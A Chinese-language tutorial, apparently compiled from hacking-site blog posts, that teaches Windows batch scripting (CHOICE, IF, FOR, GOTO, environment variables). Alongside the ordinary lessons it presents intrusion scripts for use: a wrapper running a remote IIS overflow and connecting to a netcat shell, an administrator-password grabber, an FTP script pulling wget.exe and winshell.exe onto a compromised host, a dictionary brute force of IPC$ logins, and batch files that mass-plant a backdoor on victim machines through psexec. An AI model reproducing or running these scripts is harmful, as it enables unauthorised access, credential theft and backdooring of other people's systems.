         ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降序排列。

        示例:
         CHOICE /?
         CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
         CHOICE /T 10 /C ync /CS /D y
         CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"
         CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"
         
        如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
        屏幕上会显示:
        确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?
         
         
        例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
        @echo off
        choice /C dme /M "defrag,mem,end"
        if errorlevel 3 goto end
        if errorlevel 2 goto mem
        if errotlevel 1 goto defrag

        :defrag
        c:\dos\defrag
        goto end

        :mem
        mem
        goto end

        :end
        echo good bye

        此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。

        四、for 循环命令,只要条件符合,它将多次执行同一命令。

        语法:
        对一组文件中的每一个文件执行某个特定命令。

        FOR %%variable IN (set) DO command [command-parameters]

        %%variable    指定一个单一字母可替换的参数。
        (set)      指定一个或一组文件。可以使用通配符。
        command     指定对每个文件执行的命令。
        command-parameters 为特定命令指定参数或命令行开关。

        例如一个批处理文件中有一行:
        for %%c in (*.bat *.txt) do type %%c

        则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。


        批处理示例

        1. IF-EXIST

        1)

        首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下:
        @echo off
        IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
        IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

        然后运行它:
        C:\>TEST1.BAT

        如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。

        2)

        接着再建立一个test2.bat文件,内容如下:
        @ECHO OFF
        IF EXIST \%1 TYPE \%1
        IF NOT EXIST \%1 ECHO \%1 does not exist

        执行:
        C:\>TEST2 AUTOEXEC.BAT
        该命令运行结果同上。

        说明:
        (1) IF EXIST 是用来测试文件是否存在的,格式为
        IF EXIST [路径+文件名] 命令
        (2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。

        3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下:
        @echo off
        IF "%1" == "A" ECHO XIAO
        IF "%2" == "B" ECHO TIAN
        IF "%3" == "C" ECHO XIN

        如果运行:
        C:\>TEST3 A B C
        屏幕上会显示:
        XIAO
        TIAN
        XIN

        如果运行:
        C:\>TEST3 A B
        屏幕上会显示
        XIAO
        TIAN

        在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。

        2、IF-ERRORLEVEL

        建立TEST4.BAT,内容如下:
        @ECHO OFF
        XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
        IF ERRORLEVEL 0 ECHO 成功拷贝文件

        然后执行文件:
        C:\>TEST4

        如果文件拷贝成功,屏幕就会显示"成功拷贝文件",否则就会显示"文件拷贝失败"。

        IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:
        @ECHO OFF
        XCOPY C:\AUTOEXEC.BAT D:\
        IF ERRORLEVEL 0 ECHO 成功拷贝文件
        IF ERRORLEVEL 1 ECHO 未找到拷贝文件
        IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
        IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
        IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

        无论拷贝是否成功,后面的:

        未找到拷贝文件
        用户通过ctrl-c中止拷贝操作
        预置错误阻止文件拷贝操作
        拷贝过程中写盘错误

        都将显示出来。

        以下就是几个常用命令的返回值及其代表的意义:
        backup
        0 备份成功
        1 未找到备份文件
        2 文件共享冲突阻止备份完成
        3 用户用ctrl-c中止备份
        4 由于致命的错误使备份操作中止

        diskcomp
        0 盘比较相同
        1 盘比较不同
        2 用户通过ctrl-c中止比较操作
        3 由于致命的错误使比较操作中止
        4 预置错误中止比较

        diskcopy
        0 盘拷贝操作成功
        1 非致命盘读/写错
        2 用户通过ctrl-c结束拷贝操作
        3 因致命的处理错误使盘拷贝中止
        4 预置错误阻止拷贝操作

        format
        0 格式化成功
        3 用户通过ctrl-c中止格式化处理
        4 因致命的处理错误使格式化中止
        5 在提示"proceed with format(y/n)?"下用户键入n结束

        xcopy
        0 成功拷贝文件
        1 未找到拷贝文件
        2 用户通过ctrl-c中止拷贝操作
        4 预置错误阻止文件拷贝操作
        5 拷贝过程中写盘错误

        3、IF STRING1 == STRING2

        建立TEST5.BAT,文件内容如下:
        @echo off
        IF "%1" == "A" formAT A:

        执行:
        C:\>TEST5 A
        屏幕上就出现是否将A:盘格式化的内容。

        注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。
        如:if [%1]==[A] 或者 if %1*==A*

        5、GOTO

        建立TEST6.BAT,文件内容如下:
        @ECHO OFF
        IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
        GOTO _DONE
        :_COPY
        COPY C:\AUTOEXEC.BAT D:\
        :_DONE

        注意:
        (1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。
        (2) 标号的命名规则与文件名的命名规则相同。
        (3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。

        6、FOR

        建立C:\TEST7.BAT,文件内容如下:
        @ECHO OFF
        FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

        运行:
        C:>TEST7

        执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文内容显示出来(不包括隐藏文件)。

         

        win2000命令行方式批处理BAT文件技巧
         

        文章结构
        1. 所有内置命令的帮助信息
        2. 环境变量的概念
        3. 内置的特殊符号(实际使用中间注意避开)
        4. 简单批处理文件概念
        5. 附件1 tmp.txt
        6. 附件2 sample.bat

        ###########################
        1. 所有内置命令的帮助信息
        ###########################
        ver
        cmd /?
        set /?
        rem /?
        if /?
        echo /?
        goto /?
        for /?
        shift /?
        call /?
        其他需要的常用命令
        type /?
        find /?
        findstr /?
        copy /?

        下面将所有上面的帮助输出到一个文件
        echo ver >tmp.txt
        ver >>tmp.txt
        echo cmd /? >>tmp.txt
        cmd /? >>tmp.txt
        echo rem /? >>tmp.txt
        rem /? >>tmp.txt
        echo if /? >>tmp.txt
        if /? >>tmp.txt
        echo goto /? >>tmp.txt
        goto /? >>tmp.txt
        echo for /? >>tmp.txt
        for /? >>tmp.txt
        echo shift /? >>tmp.txt
        shift /? >>tmp.txt
        echo call /? >>tmp.txt
        call /? >>tmp.txt
        echo type /? >>tmp.txt
        type /? >>tmp.txt
        echo find /? >>tmp.txt
        find /? >>tmp.txt
        echo findstr /? >>tmp.txt
        findstr /? >>tmp.txt
        echo copy /? >>tmp.txt
        copy /? >>tmp.txt
        type tmp.txt


        #############################
        2. 环境变量的概念
        #############################

        C:\Program Files>set
        ALLUSERSPROFILE=C:\Documents and Settings\All Users
        CommonProgramFiles=C:\Program Files\Common Files
        COMPUTERNAME=FIRST
        ComSpec=C:\WINNT\system32\cmd.exe
        NUMBER_OF_PROCESSORS=1
        OS=Windows_NT
        Os2LibPath=C:\WINNT\system32\os2\dll;
        Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
        PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
        PROCESSOR_ARCHITECTURE=x86
        PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
        PROCESSOR_LEVEL=6
        PROCESSOR_REVISION=0605
        ProgramFiles=C:\Program Files
        PROMPT=$P$G
        SystemDrive=C:
        SystemRoot=C:\WINNT
        TEMP=C:\WINNT\TEMP
        TMP=C:\WINNT\TEMP
        USERPROFILE=C:\Documents and Settings\Default User
        windir=C:\WINNT


        path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
        %windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
        语法: copy mychenxu.exe %windir%\system32\.
        使用点(.) 便于一目了然
        对环境变量的引用使用(英文模式,半角)双引号
        %windir% 变量
        %%windir%% 二次变量引用.
        我们常用的还有
        %temp% 临时文件目录
        %windir% 系统目录
        %errorlevel% 退出代码

        输出文件到临时文件目录里面.这样便于当前目录整洁.

        对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
        C:\>dir p*
        C:\ 的目录
        2000-09-02 11:47 2,164 PDOS.DEF
        1999-01-03 00:47 <DIR> Program Files
        1 个文件 2,164 字节
        1 个目录 1,505,997,824 可用字节

        C:\>cd pro*
        C:\Program Files>

        C:\>
        C:\>cd "Program Files"
        C:\Program Files>


        ############################################
        3. 内置的特殊符号(实际使用中间注意避开)
        ############################################
        微软里面内置了下列字符不能够在创建的文件名中间使用
        con nul aux \ / | || && ^ > < *

        You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
        (大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
        To create the variable value new&name, type:
        set varname=new^&name

        To create the variable value "new&name", type:
        set varname="new&name"

        The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

        find "Pacific Rim" < trade.txt > nwtrade.txt
        IF EXIST filename. (del filename.) ELSE echo filename. missing

        > 创建一个文件
        >> 追加到一个文件后面
        @ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
        ^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
        echo 123456 ^> aaa
        echo 1231231 > bbb
        () 包含命令
        (echo aa & echo bb)
        , 和空格一样的缺省分隔符号.
        ; 注释,表示后面为注释
        : 标号作用
        | 管道操作
        & Usage:第一条命令 & 第二条命令 [& 第三条命令...]
        用这种方法可以同时执行多条命令,而不管命令是否执行成功
        dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
        && Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
        当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
        || Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
        当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

        常用语法格式
        IF [NOT] ERRORLEVEL number command para1 para2
        IF [NOT] string1==string2 command para1 para2
        IF [NOT] EXIST filename command para1 para2

        IF EXIST filename command para1 para2
        IF NOT EXIST filename command para1 para2
        IF "%1"=="" goto END
        IF "%1"=="net" goto NET
        IF NOT "%2"=="net" goto OTHER
        IF ERRORLEVEL 1 command para1 para2
        IF NOT ERRORLEVEL 1 command para1 para2
        FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
        FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
        按照字母顺序 ijklmnopq依次取参数.
        eol=c - 指一个行注释字符的结尾(就一个)
        skip=n - 指在文件开始时忽略的行数。
        delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。


        ########################
        4. 简单批处理文件概念
        ########################

        echo This is test > a.txt
        type a.txt
        echo This is test 11111 >> a.txt
        type a.txt
        echo This is test 22222 > a.txt
        type a.txt
        第二个echo是追加
        第三个echo将清空a.txt 重新创建 a.txt

        netstat -n | find "3389"
        这个将要列出所有连接3389的用户的ip.

        ________________test.bat______
        @echo please care
        echo plese care 1111
        echo plese care 2222
        echo plese care 3333
        @echo please care
        @echo plese care 1111
        @echo plese care 2222
        @echo plese care 3333
        rem 不显示注释语句,本行显示
        @rem 不显示注释语句,本行不显示
        @if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)
        @if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)
        _____________________________

        下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

        ___________________ida.bat_____
        @rem ver 1.0
        @if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"
        @if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

        @if "%1" =="" goto USAGE
        @if NOT "%2" =="" goto SP2

        :start
        @echo Now start ...
        @ping %1
        @echo chinese win2k:1 sp1:2 sp2:3
        idahack.exe %1 80 1 99 >%temp%\_tmp
        @echo "prog exit code [%errorleve%] idahack.exe"
        @type %temp%\_tmp
        @find "good luck :)" %temp%\_tmp
        @echo "prog exit code [%errorlevel%] find [goog luck]"
        @if NOT errorlevel 1 nc.exe %1 99
        @goto END

        :SP2
        @idahack.exe %1 80 %2 99 %temp%\_tmp
        @type %temp%\_tmp
        @find "good luck :)" %temp%\_tmp
        @if NOT errorlevel 1 nc.exe %1 99
        @goto END

        :USAGE
        @echo Example: ida.bat IP
        @echo Example: ida.bat IP (2,3)

        :END
        _____________________ida.bat__END_______

        下面我们再来第二个文件.就是得到administrator的口令.
        大多数人说得不到.其实是自己的没有输入正确的信息.

        ___________________________fpass.bat____________________________________________
        @rem ver 1.0
        @if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"
        @if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

        @echo start....
        @echo ____________________________________
        @if "%1"=="" goto USAGE
        @findpass.exe %1 %2 %3 >> %temp%\_findpass.txt
        @echo "prog exit code [%errorlevel%] findpass.exe"
        @type %temp%\_findpass.txt
        @echo ________________________________Here__pass★★★★★★★★
        @ipconfig /all >>%temp%\_findpass.txt
        @goto END

        :USAGE
        @pulist.exe >%temp%\_pass.txt
        @findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt
        @echo "Example: fpass.bat %1 %2 %3 %4 !!!"
        @echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

        :END
        @echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "
        @echo " fpass.bat end [%errorlevel%] !"
        _________________fpass.bat___END___________________________________________________________

        还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)
        依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

        echo open 210.64.x.4 3396>w
        echo read>>w
        echo read>>w
        echo cd winnt>>w
        echo binary>>w
        echo pwd >>w
        echo get wget.exe >>w
        echo get winshell.exe >>w
        echo get any.exe >>w
        echo quit >>w
        ftp -s:w


        新闻来自: 新客网(www.xker.com) 详文参考:http://www.xker.com/page/e2009/0307/69948.html

         

      • 如何编写bat文件

        2009-03-13 10:27:40

        就是把DOS命令写在一个文本文件里面,然后保存的时候保存成"所有文件", 文件名是 名字.bat 就可以了。
        不过BAT文件有很多特殊命令...

        批处理制作教程

        批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。

        在无盘运用及Hack入侵过程中,经常都会用到。

        一.简单批处理内部命令简介
        1.Echo 命令
        打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
        语法
        echo [{on off}] [message]
        Sample:@echo off / echo hello world
        在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> )结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

        2.@ 命令
        表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
        Sample:@echo off
        @echo Now initializing the program,please wait a minite...
        @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

        3.Goto 命令
        指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
        语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
        Sample:
        if {%1}=={} goto noparms
        if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
        @Rem check parameters if null show usage
        :noparms
        echo Usage: monitor.bat ServerIP PortNumber
        goto end
        标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

        4.Rem 命令
        注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
        Rem Message
        Sample:@Rem Here is the description.
        5.Pause 命令
        运行 Pause 命令时,将显示下面的消息:
        Press any key to continue . . .
        Sample:
        @echo off
        :begin
        copy a:*.* d:\back
        echo Please put a new disk into driver A
        pause
        goto begin
        在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

        6.Call 命令
        从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
        语法
        call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
        参数
        [Drive:}[Path] FileName
        指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

        7.start 命令
        调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
        入侵常用参数:
        MIN 开始时窗口最小化
        SEPARATE 在分开的空间内开始 16 位 Windows 程序
        HIGH 在 HIGH 优先级类别开始应用程序
        REALTIME 在 REALTIME 优先级类别开始应用程序
        WAIT 启动应用程序并等候它结束
        parameters 这些为传送到命令/程序的参数
        执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
        8.choice 命令
        choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
        如: choice /c:dme defrag,mem,end
        将显示
        defrag,mem,end[D,M,E]?
        Sample:
        Sample.bat的内容如下:
        @echo off
        choice /c:dme defrag,mem,end
        if errorlevel 3 goto defrag (应先判断数值最高的错误码)
        if errorlevel 2 goto mem
        if errotlevel 1 goto end

        :defrag
        c:\dos\defrag
        goto end
        :mem
        mem
        goto end
        :end
        echo good bye

        此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
        9.If 命令

        if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
        1、if "参数" == "字符串" 待执行的命令
        参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
        如if "%1"=="a" format a:
        if {%1}=={} goto noparms
        if {%2}=={} goto noparms

        2、if exist 文件名 待执行的命令
        如果有指定的文件,则条件成立,运行命令,否则运行下一句。
        如if exist config.sys edit config.sys

        3、if errorlevel / if not errorlevel 数字 待执行的命令
        如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
        如if errorlevel 2 goto x2
        DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

        10.for 命令
        for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
        在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

        for {%variable│%%variable} in (set) do command [ CommandLineOptions]
        %variable 指定一个单一字母可替换的参数。
        (set) 指定一个或一组文件。可以使用通配符。
        command 指定对每个文件执行的命令。
        command-parameters 为特定命令指定参数或命令行开关。
        在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
        而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

        如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
        支持:

        FOR /D %variable IN (set) DO command [command-parameters]

        如果集中包含通配符,则指定与目录名匹配,而不与文件
        名匹配。

        FOR /R [[drive:]path] %variable IN (set) DO command [command-

        检查以 [drive:]path 为根的目录树,指向每个目录中的
        FOR 语句。如果在 /R 后没有指定目录,则使用当前
        目录。如果集仅为一个单点(.)字符,则枚举该目录树。

        FOR /L %variable IN (start,step,end) DO command [command-para

        该集表示以增量形式从开始到结束的一个数字序列。
        因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
        序列 (5 4 3 2 1)。

        FOR /F ["options"] %variable IN (file-set) DO command
        FOR /F ["options"] %variable IN ("string") DO command
        FOR /F ["options"] %variable IN (’command’) DO command

        或者,如果有 usebackq 选项:

        FOR /F ["options"] %variable IN (file-set) DO command
        FOR /F ["options"] %variable IN ("string") DO command
        FOR /F ["options"] %variable IN (’command’) DO command

        filenameset 为一个或多个文件名。继续到 filenameset 中的
        下一个文件之前,每份文件都已被打开、读取并经过处理。
        处理包括读取文件,将其分成一行行的文字,然后将每行
        解析成零或更多的符号。然后用已找到的符号字符串变量值
        调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
        的第一个空白符号。跳过空白行。您可通过指定可选 "options"
        参数替代默认解析操作。这个带引号的字符串包括一个或多个
        指定不同解析选项的关键字。这些关键字为:

        eol=c - 指一个行注释字符的结尾(就一个)
        skip=n - 指在文件开始时忽略的行数。
        delims=*** - 指分隔符集。这个替换了空格和跳格键的
        默认分隔符集。
        tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
        的 for 本身。这会导致额外变量名称的
        格式为一个范围。通过 nth 符号指定 m
        符号字符串中的最后一个字符星号,
        那么额外的变量将在最后一个符号解析之
        分配并接受行的保留文本。
        usebackq - 指定新语法已在下类情况中使用:
        在作为命令执行一个后引号的字符串并且
        引号字符为文字字符串命令并允许在 fi
        中使用双引号扩起文件名称。

        sample1:
        FOR /F "eol=;;; tokens=2,3* delims=, " %i in (myfile.txt) do command

        会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
        每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
        空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
        取得第二个符号,引用 %j 来取得第三个符号,引用 %k
        来取得第三个符号后的所有剩余符号。对于带有空格的文件
        名,您需要用双引号将文件名括起来。为了用这种方式来使
        用双引号,您还需要使用 usebackq 选项,否则,双引号会
        被理解成是用作定义某个要分析的字符串的。

        %i 专门在 for 语句中得到说明,%j 和 %k 是通过
        tokens= 选项专门得到说明的。您可以通过 tokens= 一行
        指定最多 26 个符号,只要不试图说明一个高于字母 ’z’ 或
        ’Z’ 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
        同时不能有 52 个以上都在使用中。

        您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
        用单引号将括号之间的 filenameset 括起来。这样,该字符
        串会被当作一个文件中的一个单一输入行。

        最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
        括号之间的 filenameset 变成一个反括字符串。该字符串会
        被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
        内存,并被当作文件分析。因此,以下例子:

        FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

        会枚举当前环境中的环境变量名称。

        另外,FOR 变量参照的替换已被增强。您现在可以使用下列
        选项语法:

        ~I - 删除任何引号("),扩充 %I
        %~fI - 将 %I 扩充到一个完全合格的路径名
        %~dI - 仅将 %I 扩充到一个驱动器号
        %~pI - 仅将 %I 扩充到一个路径
        %~nI - 仅将 %I 扩充到一个文件名
        %~xI - 仅将 %I 扩充到一个文件扩展名
        %~sI - 扩充的路径只含有短名
        %~aI - 将 %I 扩充到文件的文件属性
        %~tI - 将 %I 扩充到文件的日期/时间
        %~zI - 将 %I 扩充到文件的大小
        %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
        到找到的第一个完全合格的名称。如果环境变量
        未被定义,或者没有找到文件,此组合键会扩充
        空字符串

        可以组合修饰符来得到多重结果:

        %~dpI - 仅将 %I 扩充到一个驱动器号和路径
        %~nxI - 仅将 %I 扩充到一个文件名和扩展名
        %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
        %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
        到找到的第一个驱动器号和路径。
        %~ftzaI - 将 %I 扩充到类似输出线路的 DIR

        在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
        用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
        比较易读,而且避免与不分大小写的组合键混淆。



        以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

        sample2:

        利用For命令来实现对一台目标Win2k主机的暴力密码破解。
        我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
        最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%"
        /u:"administrator"
        用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
        for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%"
        /u:"administrator"│find ":命令成功完成">>D:\ok.txt ,这样就ko了。

        sample3:

        你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

        主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
        @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat
        %%i %%j %%k
        tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
        而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If
        errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
        delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i
        %%j %%k表示的对象来排列,一般就是 ip password username。
        代码雏形:
        --------------- cut here then save as a batchfile(I call it main.bat )
        ---------------------------
        @echo off
        @if "%1"=="" goto usage
        @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call
        IPChack.bat %%i %%j %%k
        @goto end
        :usage
        @echo run this batch in dos modle.or just double-click it.
        :end
        --------------- cut here then save as a batchfile(I call it main.bat )
        ---------------------------

        ------------------- cut here then save as a batchfile(I call it door.bat)
        -----------------------------
        @net use \\%1\ipc$ %3 /u:"%2"
        @if errorlevel 1 goto failed
        @echo Trying to establish the IPC$ connection …………OK
        @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1
        USER %2 PWD %3 >>ko.txt
        @p***ec \\%1 c:\winnt\system32\windrv32.exe
        @p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored
        >>ko.txt
        :failed
        @echo Sorry can not connected to the victim.
        ----------------- cut here then save as a batchfile(I call it door.bat)
        --------------------------------
        这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
        尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

        二.如何在批处理文件中使用参数
        批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
        sample1:fomat.bat
        @echo off
        if "%1"=="a" format a:
        :format
        @format a:/q/u/auotset
        @echo please insert another disk to driver A.
        @pause
        @goto fomat
        这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
        sample2:
        当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password
        username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
        @echo off
        @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
        @if errorlevel 1 echo connection failed
        怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
        三.如何使用组合命令(Compound Command)

        1.&

        Usage:第一条命令 & 第二条命令 [& 第三条命令...]

        用这种方法可以同时执行多条命令,而不管命令是否执行成功

        Sample:
        C:\>dir z: & dir c:\Ex4rch
        The system cannot find the path specified.
        Volume in drive C has no label.
        Volume Serial Number is 0078-59FB

        Directory of c:\Ex4rch

        2002-05-14 23:51 <DIR> .
        2002-05-14 23:51 <DIR> ..
        2002-05-14 23:51 14 sometips.gif

        2.&&

        Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

        用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

        Sample:
        C:\>dir z: && dir c:\Ex4rch
        The system cannot find the path specified.

        C:\>dir c:\Ex4rch && dir z:
        Volume in drive C has no label.
        Volume Serial Number is 0078-59FB

